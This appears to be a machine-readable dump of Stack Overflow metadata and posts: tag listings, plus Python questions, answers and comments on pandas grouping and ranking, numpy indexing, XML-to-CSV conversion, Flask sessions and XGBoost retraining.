has text: recently I have downloaded and then imported into my GrapDB installation some files from [here](http://people.aifb.kit.edu/ath/#DBpedia_PageRank).
type: Comment

opencv
tags question: http://stackoverflow.com/q/47034069
type: Tag
tags question: http://stackoverflow.com/q/47003304
tags question: http://stackoverflow.com/q/47012085
tags question: http://stackoverflow.com/q/46911991
tags question: http://stackoverflow.com/q/47061578
tags question: http://stackoverflow.com/q/46910830
tags question: http://stackoverflow.com/q/46907224
tags question: http://stackoverflow.com/q/46911160
tags question: http://stackoverflow.com/q/47011729
tags question: http://stackoverflow.com/q/47006652
tags question: http://stackoverflow.com/q/47039738
tags question: http://stackoverflow.com/q/47016617
tags question: http://stackoverflow.com/q/47041107
tags question: http://stackoverflow.com/q/46988176
tags question: http://stackoverflow.com/q/46985506
tags question: http://stackoverflow.com/q/47010292
tags question: http://stackoverflow.com/q/46940846
tags question: http://stackoverflow.com/q/46955998
tags question: http://stackoverflow.com/q/47062544
tags question: http://stackoverflow.com/q/46916683
tags question: http://stackoverflow.com/q/46954698
tags question: http://stackoverflow.com/q/47018463
tags question: http://stackoverflow.com/q/46929919
tags question: http://stackoverflow.com/q/47049234
tags question: http://stackoverflow.com/q/47055771
tags question: http://stackoverflow.com/q/47008296
tags question: http://stackoverflow.com/q/47051951
tags question: http://stackoverflow.com/q/47027074
tags question: http://stackoverflow.com/q/46976907
tags question: http://stackoverflow.com/q/47003626
tags question: http://stackoverflow.com/q/46930761
tags question: http://stackoverflow.com/q/47061090
tags question: http://stackoverflow.com/q/47056391
tags question: http://stackoverflow.com/q/47056755
tags question: http://stackoverflow.com/q/46953069
tags question: http://stackoverflow.com/q/47021304
tags question: http://stackoverflow.com/q/46996465
tags question: http://stackoverflow.com/q/46967550
tags question: http://stackoverflow.com/q/46979003
tags question: http://stackoverflow.com/q/47053995
tags question: http://stackoverflow.com/q/47021638
tags question: http://stackoverflow.com/q/46977186
tags question: http://stackoverflow.com/q/46951610
tags question: http://stackoverflow.com/q/46971769
tags question: http://stackoverflow.com/q/47004388
tags question: http://stackoverflow.com/q/46980214
tags question: http://stackoverflow.com/q/46990452
tags question: http://stackoverflow.com/q/46999971
tags question: http://stackoverflow.com/q/46996298
tags question: http://stackoverflow.com/q/47051079
tags question: http://stackoverflow.com/q/47004598
tags question: http://stackoverflow.com/q/47062216
tags question: http://stackoverflow.com/q/47050736
tags question: http://stackoverflow.com/q/46992022
tags question: http://stackoverflow.com/q/46943261
tag name: opencv
tags question: http://stackoverflow.com/q/47040854
tags question: http://stackoverflow.com/q/46974522
tags question: http://stackoverflow.com/q/47003102
tags question: http://stackoverflow.com/q/46968477
tags question: http://stackoverflow.com/q/47063886
tags question: http://stackoverflow.com/q/46963840
tags question: http://stackoverflow.com/q/46988990
tags question: http://stackoverflow.com/q/47050243
tags question: http://stackoverflow.com/q/46947310
tags question: http://stackoverflow.com/q/46994246
tags question: http://stackoverflow.com/q/46931716
tags question: http://stackoverflow.com/q/46934693

http://stackoverflow.com/comment/80789299
comment on: http://stackoverflow.com/q/46920709
score: 0
type: Comment
type: QuestionComment
has text: It actually does the trick, thank you very much :)

sql-update
tags question: http://stackoverflow.com/q/47061803
tags question: http://stackoverflow.com/q/47032577
tag name: sql-update
type: Tag

http://stackoverflow.com/comment/81045414
type: AnswerComment
score: 0
type: Comment
has text: Seems to be a discrepancy https://ibb.co/eNYrhb between what my desired output is and what gets put in excel.
comment on: http://stackoverflow.com/a/47048935

http://stackoverflow.com/a/46915393
has comment: http://stackoverflow.com/comment/80779036
has body: import requests URL = 'https://www.google.com/search?q=test' hdr = {'User-Agent': 'Mozilla/5.4'} req = requests.get(URL, headers=hdr) soup = BeautifulSoup(req.content, "lxml") all_tables = soup.find_all('table') right_table = soup.find_all('table')[1]
accepted answer of: http://stackoverflow.com/q/46915336
type: Answer
answers question: http://stackoverflow.com/q/46915336
score: 0
type: AcceptedAnswer

http://stackoverflow.com/q/46998281
has comment: http://stackoverflow.com/comment/80944692
has title: How to rank within a group in Python?
type: AnsweredQuestion
tagged with: pandas
upvote count: 1
score: 1
accepted answer: http://stackoverflow.com/a/46998334
tagged with: dataframe
tagged with: python
tagged with: rank
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/80943475
has answer: http://stackoverflow.com/a/46998334
answer count: 1
downvote count: 0
linked to: http://stackoverflow.com/q/33899369
has body: I have the following data frame A > Bucket C Count PL14 XY23081063 706 PL14 XY23326234 15 PL14 XY23081062 1 PL14 XY23143628 1 FZ595 XY23157633 353 FZ595 XY23683174 107 XM274 XY23681818 139 XM274 XY23681819 108 Now I want to insert a new column "Bucket_Rank" which ranks "C" under each "Bucket" based on descending value of "Count" required output : B > Bucket C Count Bucket_Rank PL14 XY23081063 706 1 PL14 XY23326234 15 2 PL14 XY23081062 1 3 PL14 XY23143628 1 4 FZ595 XY23157633 353 1 FZ595 XY23683174 107 2 XM274 XY23681818 139 1 XM274 XY23681819 108 2 I tried the solution given in the following link Ranking order per group in Pandas command : B["Bucket_Rank"] = A.groupby("Bucket ")["Count"].rank("dense", ascending=False) but its giving me the following error .. TypeError: rank() got multiple values for argument 'axis' During handling of the above exception, another exception occurred: ValueError Help appreciated...TIA

http://stackoverflow.com/q/47039720
tagged with: python
accepted answer: http://stackoverflow.com/a/47040125
has comment: http://stackoverflow.com/comment/81080769
type: Question
tagged with: numpy
has title: Python numpy's loadtxt and windows pathing?
has comment: http://stackoverflow.com/comment/81035471
has body: I want to use numpy's loadtxt command, so I tried this: lines = loadtxt("D:/My Desktop/Enwate syllables.txt", comments="#", delimiter=",", unpack=False) but that fails hard with "could not convert string to float: b'\xef\xbb\xbfen'" I did try f = open("D:/My Desktop/Enwate syllables.txt") and that works fine. What am I doing wrong with loadtxt? PS. It's not an encoding issue since as shown above the "open" command works on it perfectly well, I get the text lines and everything. And by the way, the file is a simple ascii text file with one word on each line.
has comment: http://stackoverflow.com/comment/81040740
has answer: http://stackoverflow.com/a/47040125
has comment: http://stackoverflow.com/comment/81026330
has comment: http://stackoverflow.com/comment/81031700
type: AnsweredQuestion
score: 0
linked to: http://stackoverflow.com/q/24694736
answer count: 1

http://stackoverflow.com/q/47055259
downvote count: 1
upvote count: 6
accepted answer: http://stackoverflow.com/a/47055411
has comment: http://stackoverflow.com/comment/81057479
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47055411
possible better answer: http://stackoverflow.com/a/47055608
has comment: http://stackoverflow.com/comment/81057506
tagged with: pandas
has answer: http://stackoverflow.com/a/47055608
tagged with: sum
tagged with: grouping
has comment: http://stackoverflow.com/comment/81057502
has body: I have a set of data in the list of dict format like below: data = [ {'name': 'A', 'tea':5, 'coffee':6}, {'name': 'A', 'tea':2, 'coffee':3}, {'name': 'B', 'tea':7, 'coffee':1}, {'name': 'B', 'tea':9, 'coffee':4}, ] I'm trying to group by 'name' and sum the 'tea' separately and 'coffee' separately The final grouped data must be in the this format: grouped_data = [ {'name': 'A', 'tea':7, 'coffee':9}, {'name': 'B', 'tea':16, 'coffee':5}, ] I tried some steps: from collections import Counter c = Counter() for v in data: c[v['name']] += v['tea'] my_data = [{'name': name, 'tea':tea} for name, tea in c.items()] for e in my_data: print e The above step returned the following output: {'name': 'A', 'tea':7,} {'name': 'B', 'tea':16} Only I can sum the key 'tea', I'm not able to get the sum for the key 'coffee', can you guys please help to solve this solution to get the grouped_data format
tagged with: python
tagged with: dictionary
has answer: http://stackoverflow.com/a/47056958
has comment: http://stackoverflow.com/comment/81057457
favorite count: 0
type: Question
linked to: http://stackoverflow.com/q/21674331
has comment: http://stackoverflow.com/comment/81057661
score: 5
has title: Python dict group and sum multiple values
answer count: 5
has answer: http://stackoverflow.com/a/47055383
has comment: http://stackoverflow.com/comment/81060975
has comment: http://stackoverflow.com/comment/81057576
duplicate of: http://stackoverflow.com/q/21674331
has answer: http://stackoverflow.com/a/47055451

http://stackoverflow.com/a/47064378
type: Answer
has body: update Actually this might work with a simple nested dictionary: import pandas as pd from collections import defaultdict nested_dict = lambda: defaultdict(nested_dict) output = nested_dict() for lst in df.values: output[lst[1]][lst[0]][lst[2]] = lst[3:].tolist() Or: output = defaultdict(dict) for lst in df.values: try: output[lst[1]][lst[0]].update({lst[2]:lst[3:].tolist()}) except KeyError: output[lst[1]][lst[0]] = {} finally: output[lst[1]][lst[0]].update({lst[2]:lst[3:].tolist()}) Or: output = defaultdict(dict) for lst in df.values: if output.get(lst[1], {}).get(lst[0]) == None: output[lst[1]][lst[0]] = {} output[lst[1]][lst[0]].update({lst[2]:lst[3:].tolist()}) output Here is my old solution, we make use df.groupbyto group the dataframe by country and app_id. From here we collect the data (excluding country and app_id) and use defaultdict(dict) to add data to output dictionary in a nested way. import pandas as pd from collections import defaultdict output = defaultdict(dict) groups = ["country","app_id"] cols = [i for i in df.columns if i not in groups] for i,subdf in df.groupby(groups): data = subdf[cols].set_index('date').to_dict("split") #filter away unwanted cols d = dict(zip(data['index'],data['data'])) output[i[0]][i[1]] = d # assign country=level1, app_id=level2 output return: {'FR': {123: {'2016-01-01': [10, 20, 30, 40]}}, 'US': {123: {'2016-01-01': [50, 70, 80, 90], '2016-01-02': [60, 80, 90, 100], '2016-01-03': [70, 88, 99, 11]}, 124: {'2016-01-01': [10, 20, 30, 40]}}} and output['US'][123]['2016-01-01'] return: [50, 70, 80, 90] if: df = pd.DataFrame.from_dict({'app_id': {0: 123, 1: 123, 2: 123, 3: 123, 4: 124}, 'country': {0: 'US', 1: 'US', 2: 'US', 3: 'FR', 4: 'US'}, 'date': {0: '2016-01-01', 1: '2016-01-02', 2: '2016-01-03', 3: '2016-01-01', 4: '2016-01-01'}, 'val1': {0: 50, 1: 60, 2: 70, 3: 10, 4: 10}, 'val2': {0: 70, 1: 80, 2: 88, 3: 20, 4: 20}, 'val3': {0: 80, 1: 90, 2: 99, 3: 30, 4: 30}, 'val4': {0: 90, 1: 100, 2: 11, 3: 40, 4: 40}})
score: 0
answers question: http://stackoverflow.com/q/47062741

http://stackoverflow.com/a/46976554
type: Answer
has comment: http://stackoverflow.com/comment/80903883
accepted answer of: http://stackoverflow.com/q/46976410
upvote count: 1
score: 1
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/46976410
has body: I think you need cut + add_categories with fillna for replace NaNs: rng = pd.date_range('2017-04-03', periods=15) series = pd.DataFrame({'index_time': rng, 'a': range(15)}) PERIOD_1 = '2017-04-05' PERIOD_2 = '2017-04-08' PERIOD_3 = '2017-04-10' PERIOD_4 = '2017-04-11' PERIOD_5 = '2017-04-13' bins = pd.DatetimeIndex([PERIOD_1,PERIOD_2,PERIOD_3,PERIOD_4, PERIOD_5]) labels = [1,2,3,4] series['interval'] = pd.cut(series['index_time'], bins=bins, labels=labels) series['interval'] = series['interval'].cat.add_categories([0]).fillna(0) print (series) a index_time interval 0 0 2017-04-03 0 1 1 2017-04-04 0 2 2 2017-04-05 0 3 3 2017-04-06 1 4 4 2017-04-07 1 5 5 2017-04-08 1 6 6 2017-04-09 2 7 7 2017-04-10 2 8 8 2017-04-11 3 9 9 2017-04-12 4 10 10 2017-04-13 4 11 11 2017-04-14 0 12 12 2017-04-15 0 13 13 2017-04-16 0 14 14 2017-04-17 0 Another solution with searchsorted: bins = pd.DatetimeIndex(['1678-01-01',PERIOD_1,PERIOD_2,PERIOD_3,PERIOD_4, PERIOD_5, '2226-01-01']) labels = [0,1,2,3,4,0] series['interval'] = np.array(labels)[np.array(bins).searchsorted(series['index_time'].values) - 1] print (series) a index_time interval 0 0 2017-04-03 0 1 1 2017-04-04 0 2 2 2017-04-05 0 3 3 2017-04-06 1 4 4 2017-04-07 1 5 5 2017-04-08 1 6 6 2017-04-09 2 7 7 2017-04-10 2 8 8 2017-04-11 3 9 9 2017-04-12 4 10 10 2017-04-13 4 11 11 2017-04-14 0 12 12 2017-04-15 0 13 13 2017-04-16 0 14 14 2017-04-17 0

http://stackoverflow.com/q/47061136
has title: XML to CSV using xml.etree.ElementTree.interparse functionality
tagged with: http://stackoverflow.com/tag/csv
answer count: 1
has answer: http://stackoverflow.com/a/47062056
linked to: http://stackoverflow.com/q/46165321
has body: Folks, I am new (brand new) to python, so after taking a course I decided to create a script to covert an XML file to CSV. The file in question is 2GB in size, so after searching here and on google I think I need to use the xml.etree.ElementTree.interparse functionality. For reference the XML file I am looking to covert looks like this: <internal_id></internal_id> ** ** <email/> ** ** ** ** ** ** I am using the value of isLatest to determine whether I need to add the items to the CSV file. If the value is "true" I want the data to move to the CSV file. Here is the code that works to a point: import xml.etree.ElementTree as ET import csv parser = ET.iterparse("windchill.xml") # open a file for writing csvfile = open('windchill.txt', 'w', encoding="utf-8") # create the csv writer object csvwriter = csv.writer(csvfile) count = 0 for event, document in parser: if document.tag == 'Document': if document.find('isLatest').text == 'true': row = [] name = document.find('content').find('name').text row.append(name) filename = document.find('content').find('storage').find('filename').text row.append(filename) folder = document.find('content').find('storage').find('actualLocation').text row.append(folder) csvwriter.writerow(row) document.clear() csvfile.close() If I run the code, I get this error: Traceback (most recent call last): File "C:/Users/mike/PycharmProjects/windchill/xml2csv-stream.py", line 17, in <module> if document.find('isLatest').text == 'true': AttributeError: 'NoneType' object has no attribute 'text' A file is created that has 91,000 entries that look like this: plate.prt,000000000518e8,/vault/Vlt7 adhesive.prt,0000000005024b,/vault/Vlt7 brd_pad.prt,00000000057862,/vault/Vlt7 support_pad.prt,0000000005024c,/vault/Vlt7 ground.prt,0000000005089b,/vault/Vlt7 There seem to be two issues with the output. Some items seem to be duplicated, although the source file has no duplications. The name could be duplicated in the source file, but there can only be one name val…
tagged with: http://stackoverflow.com/tag/xml
type: Question
type: UnansweredQuestion
tagged with: python
score: 0

http://stackoverflow.com/q/46925084
accepted answer: http://stackoverflow.com/a/46925111
type: Question
has answer: http://stackoverflow.com/a/46925111
tagged with: pandas
has comment: http://stackoverflow.com/comment/80797768
tagged with: python
possible better answer: http://stackoverflow.com/a/46925193
has comment: http://stackoverflow.com/comment/80797071
has answer: http://stackoverflow.com/a/46925141
answer count: 4
has comment: http://stackoverflow.com/comment/80797002
has answer: http://stackoverflow.com/a/46925391
type: AnsweredQuestion
score: 0
has title: In python with pandas, how to add a column with other columns compare
has comment: http://stackoverflow.com/comment/80798685
has body: now I have a dataframe like: A,B 1,2 4,3 5,5 and I want add a column C, if A>B then C=1, if A &lt; B then C=-1, if A=B then C=0 Now I use for loop to do that, but I do not think that is a right way. What is the right way please?
upvote count: 1
downvote count: 1
has answer: http://stackoverflow.com/a/46925193
favorite count: 0

http://stackoverflow.com/comment/80913909
type: Comment
comment on: http://stackoverflow.com/a/46964945
score: 0
type: AnswerComment
has text: @WiktorStribiżew The corrected syntax doesn’t answer the question since it works without it. It is not a solution to the given question, it’s simply additional guidance.

http://stackoverflow.com/q/46909850
possible better answer: http://stackoverflow.com/a/46910111
has body: In my dataframe i want to know if the ordonnee value are decreasing, increasing,or not changing, in comparison with the precedent value (the row before) and group by the column temps. I already try the method of these post: stackoverflow post And I try to groupby but this is not working do you have ideas? entry = pd.DataFrame([['1',0,0],['1',1,1],['1',2,1],['1',3,1],['1',3,-2],['2',1,2],['2',1,3]],columns=['temps','abcisse','ordonnee']) output = pd.DataFrame([['1',0,0,'--'],['1',1,1,'increase'],['1',2,1,'--'],['1',3,1,'--'],['1',3,-2,'decrease'],['2',1,2,'--'],['2',1,3,'increase']],columns=['temps','abcisse','ordonnee','variation'])
has answer: http://stackoverflow.com/a/46910111
tagged with: dataframe
tagged with: python
accepted answer: http://stackoverflow.com/a/46910024
has answer: http://stackoverflow.com/a/46910024
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/41886388
answer count: 2
has title: Find the increase, decrease in column of Dataframe group by an other column in Python / Pandas
has comment: http://stackoverflow.com/comment/80766217
tagged with: pandas
score: 0
type: Question

http://stackoverflow.com/a/47019797
type: Answer
has body: str.split() doesn't take a regular expression, you need to use re.split(). address = re.split(r'Manufacturer\/Distributor name:?', arg, 1)[1] You should also get in the habit of using raw strings for regular expressions, otherwise you need to escape the \.
answers question: http://stackoverflow.com/q/47019602
upvote count: 3
type: AcceptedAnswer
downvote count: 0
score: 3
accepted answer of: http://stackoverflow.com/q/47019602

http://stackoverflow.com/comment/80991139
has text: But If I want to perform this for each of the 25 data frames, I would prefer to loop through each one rather than do it one by one
type: Comment
comment on: http://stackoverflow.com/a/47022114
score: 0
type: AnswerComment

http://stackoverflow.com/a/46978685
answers question: http://stackoverflow.com/q/46952766
has body: Your model does accept an array for the image, not JPG strings. Please see the answer to tensorflow serving prediction not working with object detection pets example If you want to use your current input, you may re-export the model with --input_type encoded_image_string_tensor.
type: Answer
score: 2
upvote count: 2
downvote count: 0

http://stackoverflow.com/comment/81012814
type: AnswerComment
comment on: http://stackoverflow.com/a/47033167
score: 0
type: Comment
has text: No `xrange` in Python3

http://stackoverflow.com/q/47011556
has answer: http://stackoverflow.com/a/47014367
type: AnsweredQuestion
answer count: 2
downvote count: 0
accepted answer: http://stackoverflow.com/a/47014367
score: 1
upvote count: 1
has title: About releasing memory when using pygame and Python
favorite count: 0
possible better answer: http://stackoverflow.com/a/47012257
type: Question
has answer: http://stackoverflow.com/a/47012257
has body: For example, a projectile flies off screen, does the program still compute its location, speed, etc.? If so, how to release it? import pygame from pygame.locals import * from sys import exit pygame.init() screen = pygame.display.set_mode((640, 480), 0, 32) background = pygame.image.load(background_image_filename).convert() sprite = pygame.image.load(sprite_image_filename) x = 0. while True: for event in pygame.event.get(): if event.type == QUIT: exit() screen.blit(background, (0,0)) screen.blit(sprite, (x, 100)) x+= 10. pygame.display.update()
tagged with: python
tagged with: pygame

http://stackoverflow.com/comment/80761809
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46907523
score: 2
has text: I bet you assigned a list object to `list`...

http://stackoverflow.com/comment/80796405
score: 0
has text: @jezrael [That's what I said](https://stackoverflow.com/questions/46924486/python-pandas-remove-duplicate-code-not-working#comment80796210_46924542), but it seems people like downvoting.
type: Comment
comment on: http://stackoverflow.com/q/46924486
type: QuestionComment

http://stackoverflow.com/a/47047751
type: Answer
has body: I feel like that the reason you avoid to pass the parameters is that there is a bloody long parameter list. You can actually change the function pim to the followings: def pim(*args): print(args[0]) print(args[1]) print(args[2]) print(args[3]) chat(args) chat1(args) # You can call this function by pim(mode,tag,population_file,variable_file,aggregation,user,passw,email,working_schema,output_schema) or you can use optional arguments format as follows: def pim(**kwargs): print(kwargs['mode']) print(kwargs['tag']) print(kwargs['population_file']) print(kwargs['variable_file']) chat(kwargs) chat1(kwargs) # and you can call your function by pim(mode='1', tag='2', 'population_file'=3, 'variable_file'=4) or you can use the global keyword to make the parameters global available, however, this solution is not recommended.
answers question: http://stackoverflow.com/q/47047684
score: 0

http://stackoverflow.com/comment/80894419
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/46971969
has text: @CrazyElf Thank you for the link i will try it immediately
type: Comment

http://stackoverflow.com/comment/80992047
type: QuestionComment
score: 0
has text: how did you get your search value? from get request
comment on: http://stackoverflow.com/q/46942056
type: Comment

http://stackoverflow.com/comment/80921020
type: QuestionComment
comment on: http://stackoverflow.com/q/46987096
has text: Indentation is vital in Python. You need to properly format your code. The last two lines (the `else` statement) makes no sense.
score: 0
type: Comment

http://stackoverflow.com/comment/81043862
has text: the problem has been solved but when i submit iam getting an another error called ValueError at /signup/ The given username must be set ,thanks for your earlier response
score: 0
type: Comment
comment on: http://stackoverflow.com/a/47048284
type: AnswerComment

http://stackoverflow.com/comment/80941168
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46997051
has text: What COLDSPEED said but also: your code is, to someone else, just a meaningless bunch of variable names. You haven't given their types or values, nor explained what they have to do with the problem. Without that information, it's impossible to make any sense of your code.
score: 0

http://stackoverflow.com/comment/81583166
score: 0
type: Comment
has text: @Coal_, I just posted an example that needs it in https://stackoverflow.com/questions/47316154/how-to-remove-unused-function-parameters-in-shutil-rmtree. It's not the exact same issue I hit, but it's similar
type: AnswerComment
comment on: http://stackoverflow.com/a/47061911

http://stackoverflow.com/q/46927602
tagged with: datetime
has answer: http://stackoverflow.com/a/46927730
accepted answer: http://stackoverflow.com/a/46927730
has comment: http://stackoverflow.com/comment/80801930
tagged with: python
has comment: http://stackoverflow.com/comment/80801973
tagged with: list
downvote count: 4
answer count: 2
has comment: http://stackoverflow.com/comment/80802028
has body: there is a list consist of time and query, such as: data = [['bbb', '2017-10-24 07:23:02'], ['ccc', '2017-10-24 11:01:00'], ['aaa', '2017-10-24 16:13:32']] I want to sort it by time. Both the query and time are string type. How can I realize it? Well I convert it to [['aaa', 16,13,32], ['bbb', 7,23,2], ['ccc', 11,1,0],...] regardless of the day since all the days are the same.
upvote count: 1
score: -3
tagged with: sorting
favorite count: 0
has answer: http://stackoverflow.com/a/46928502
possible better answer: http://stackoverflow.com/a/46928502
type: Question
has title: Sorting list by comparing datetimes
type: AnsweredQuestion

http://stackoverflow.com/comment/99314288
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/46978805
has text: better implementation can be a simple linear merge (as we have sorted posting lists), i'll post my try on it as well. about the NOT part- why not using set difference operation?
type: Comment

http://stackoverflow.com/a/46938675
has body: My teacher pointed out I should start with the "cows" section, and then for those results, narrow it to bulls. This is the working answer i put together. I appreciate the suggestions! def bulls_and_cows(real, guess): bulls = 0 cows = 0 for i in guess: if i == i in real: cows = cows+1 if guess.index(i) == real.index(i): cows = cows -1 bulls = bulls +1 print("Bulls: " + str(bulls)) print("Cows: " + str(cows))
score: 0
type: Answer
answers question: http://stackoverflow.com/q/46937916
has comment: http://stackoverflow.com/comment/80825196

http://stackoverflow.com/q/46992848
upvote count: 0
has title: 'Session' Object is not callable Flask
has comment: http://stackoverflow.com/comment/80932972
tagged with: web-scraping
tagged with: python
tagged with: flask
answer count: 1
has comment: http://stackoverflow.com/comment/80933004
has comment: http://stackoverflow.com/comment/80932854
has comment: http://stackoverflow.com/comment/80932892
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/46993296
has comment: http://stackoverflow.com/comment/80932950
downvote count: 1
favorite count: 0
score: -1
has answer: http://stackoverflow.com/a/46993296
has body: I'm trying to write a web scraping API with Flask, this is the code: app = Flask(__name__) @app.before_request def login(): session = requests.Session() url = "someurl" params = {'uid': 'username', 'pwd': 'password'} session.post(url, data=params) return session @app.route('/scrape') def lezione(session): req = session.get("urlscraped") soup = BeautifulSoup(req.content, "lxml") table = soup.find_all( 'table', attrs={'class': 'griglia_tab', 'id': 'data_table'})[2] if not table: print("List is empty") print(re.sub(r'\n\s*\n', '\n', table.text.strip())) if __name__ == "__main__": app.run(debug=True, host='localhost', port=5000) Essentially this code login into a site and scrapes some data. What i want to do is to run the login() function before scraping anything, but when i run the code i get the error: TypeError: 'Session' object is not callable What's wrong in the code?
has comment: http://stackoverflow.com/comment/80933077
has comment: http://stackoverflow.com/comment/80932529
type: Question

http://stackoverflow.com/q/47024049
has comment: http://stackoverflow.com/comment/80995404
upvote count: 1
has body: As an MWE, I have a 2d numpy array: import numpy as np n1 = np.array([[6,7,8,1], [5,2,4,8], [3,4,2,1], [8,7,2,10]]) n1 array([[ 6, 7, 8, 1], [ 5, 2, 4, 8], [ 3, 4, 2, 1], [ 8, 7, 2, 10]]) I want to get the indices where '6' and '8' occur in the first row; where '2' and '8' appear in the second row; where '3' and '4' appear in the third row, and where '7' and '2' appear in the last row. That is, I have a list of numpy arrays: list1 = [np.array([6, 8]), np.array([2, 8]), np.array([3, 4]), np.array([7, 2])] I want [n1[i, np.where(ar1)] for i in range(len(list1))] or something like that to return a new list with the column where the value from list1 occurs: returned_list = [np.array([0, 2]), np.array([1, 3]), np.array([0, 1]), np.array([1, 2])] Clearly I've tried [n1[i, np.where(ar1)] for i in range(len(list1))]. Any ideas?
favorite count: 0
type: Question
score: 1
accepted answer: http://stackoverflow.com/a/47024162
tagged with: python
has answer: http://stackoverflow.com/a/47024162
tagged with: numpy
type: AnsweredQuestion
has title: Using numpy.where() or similar to get specifc values from a row in a matrix
answer count: 1
tagged with: arrays
downvote count: 0

http://stackoverflow.com/comment/81173662
score: 0
type: AnswerComment
has text: What is your main goal here?
comment on: http://stackoverflow.com/a/47039089
type: Comment

http://stackoverflow.com/a/47042647
has body: You have not posted your full code (as in this code, you haven't used the random module), but it can be seen from the error that you are trying to do random.choice on an empty list. You can reproduce the error like so: &gt;&gt;&gt; import random &gt;&gt;&gt; random.choice([]) Traceback (most recent call last): File "&lt;stdin&gt;", line 1, in &lt;module&gt; File "/usr/lib/python2.7/random.py", line 275, in choice return seq[int(self.random() * len(seq))] # raises IndexError if seq is empty IndexError: list index out of range So if you post the whole code, we can help you further, but otherwise you need to locate where you are calling random.choice() and debug what list you are calling it on.
answers question: http://stackoverflow.com/q/47041979
upvote count: 0
downvote count: 1
type: Answer
score: -1

http://stackoverflow.com/q/46911500
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/46911532
has comment: http://stackoverflow.com/comment/80769972
downvote count: 5
has body: def funcName(): Storing inputs for the user's favourite subjects. in0 = input("Type your first favourite subject.") in1 = input("Type your second favourite subject.") in2 = input("Type your third favourite subject.") favSubjects = ['Physics', 'Computer_Science', 'Lunch'] Creating list of user's favourite subjects. favSubjects2 = [] Storing user's favourite subjects. favSubjects2[0] = in0 favSubjects2[1] = in1 favSubjects2[2] = in2 Comparing program's subjects with the user's. if(favSubjects[0] == favSubjects2[0] or favSubjects[0] == favSubjects2[1] or favSubjects[0] == favSubjects2[2]): print("Same!") elif(favSubjects[1] == favSubjects2[0] or favSubjects[1] == favSubjects2[1] or favSubjects[1] == favSubjects2[2]): print("Same!") elif(favSubjects[2] == favSubjects2[0] or favSubjects[2] == favSubjects2[1] or favSubjects[2] == favSubjects2[2]): print("Same!") def main(): funcName() main()
tagged with: python
type: AnsweredQuestion
upvote count: 0
has comment: http://stackoverflow.com/comment/80769849
has answer: http://stackoverflow.com/a/46911532
score: -5
answer count: 1
has title: My Python program compiles long enough to take input, but won't process the input

http://stackoverflow.com/comment/84136604
type: Comment
type: AnswerComment
has text: very nice indeed
comment on: http://stackoverflow.com/a/48565876
score: 0

http://stackoverflow.com/comment/80896186
comment on: http://stackoverflow.com/a/46964750
type: AnswerComment
score: 0
has text: Glad it worked. The `--build` option is part of `cythonize` actually. I'll update my answer.
type: Comment

http://stackoverflow.com/comment/80940285
comment on: http://stackoverflow.com/a/46996623
type: Comment
type: AnswerComment
score: 1
has text: @Erlinska Just made an update using pure python to remove those null characters in case you don't have access to shell

http://stackoverflow.com/a/47057411
has body: In first.py create a list like: def get_values(number): .... return [x for x in range(number)] then in second.py you can do data = first.get_values(10)
type: Answer
score: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/81062101
has comment: http://stackoverflow.com/comment/81062063
upvote count: 1
answers question: http://stackoverflow.com/q/47057357

http://stackoverflow.com/comment/80977425
type: Comment
type: QuestionComment
score: 0
has text: I found a solution from the link:https://stackoverflow.com/questions/7046951/how-can-i-find-the-file-offset-of-a-zipfile-entry-in-java
comment on: http://stackoverflow.com/q/46967830

http://stackoverflow.com/comment/80941627
type: Comment
has text: Then there are other things you can try. Set a environment variable in windows `MPLBACKEND` with value as `Qt4Agg`. See this for more available backend https://matplotlib.org/tutorials/introductory/usage.html#what-is-a-backend. Also you can try `%matplotlib qt4` instead of `%matplotlib qt`
comment on: http://stackoverflow.com/q/46911722
type: QuestionComment
score: 0

http://stackoverflow.com/comment/80931552
comment on: http://stackoverflow.com/q/46992022
type: QuestionComment
type: Comment
score: 0
has text: @Mingxing Both result in [-0.0784276 0.40849224 0.01139636]] [[-0.0784276 0.40849224 0.01139636]], which is the same constant prediction as before

http://stackoverflow.com/comment/80868694
comment on: http://stackoverflow.com/q/46960600
has text: i get error only in the .exe version, and the error that the try: except: catch and report to me is just 'NoneType' object has no attribute 'write'
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/80823727
type: QuestionComment
has text: @dawg, I added an example when using the classes of the labels
score: 0
type: Comment
comment on: http://stackoverflow.com/q/46937842

http://stackoverflow.com/comment/80823307
score: 0
comment on: http://stackoverflow.com/q/46937248
has text: Yes, to the desired PATH @yklsga
type: Comment
type: QuestionComment

http://stackoverflow.com/a/71111169
has body: For users who are looking to continue training with XGBClassifier or object obtained from .fit function of sklearn. from xgboost import XGBClassifier # best_est = best number of tree # best_lr = best learning days # best_subsample = best subsample bw 0 and 1 params = {'objective': 'binary:logistic', 'use_label_encoder': False, 'seed': 27, 'eval_metric': 'logloss', 'n_estimators': best_est, 'learning_rate': best_lr, 'subsample': best_subsample} # train iteration 1 below model = XGBClassifier(**params) model.fit(x_train_1, y_train_1) # train iteration 2 below model = model.fit(x_train_2, y_train_2, xgb_model=model.get_booster()) In the above code x_train_*, y_train_* are the object of pandas DataFrame type. The main concept to learn here is, xgb core functions while retraining always takes the booster as input. So one can either provide the booster from model object or the saved model path.
upvote count: 6
type: Answer
score: 6
answers question: http://stackoverflow.com/q/47000253
downvote count: 0

http://stackoverflow.com/q/47021548
has comment: http://stackoverflow.com/comment/80990045
has comment: http://stackoverflow.com/comment/80992436
favorite count: 0
has comment: http://stackoverflow.com/comment/80991204
type: Question
upvote count: 2
type: UnansweredQuestion
tagged with: python
has title: python pandas keep rows with values that match csv file
has comment: http://stackoverflow.com/comment/80991864
has comment: http://stackoverflow.com/comment/80991768
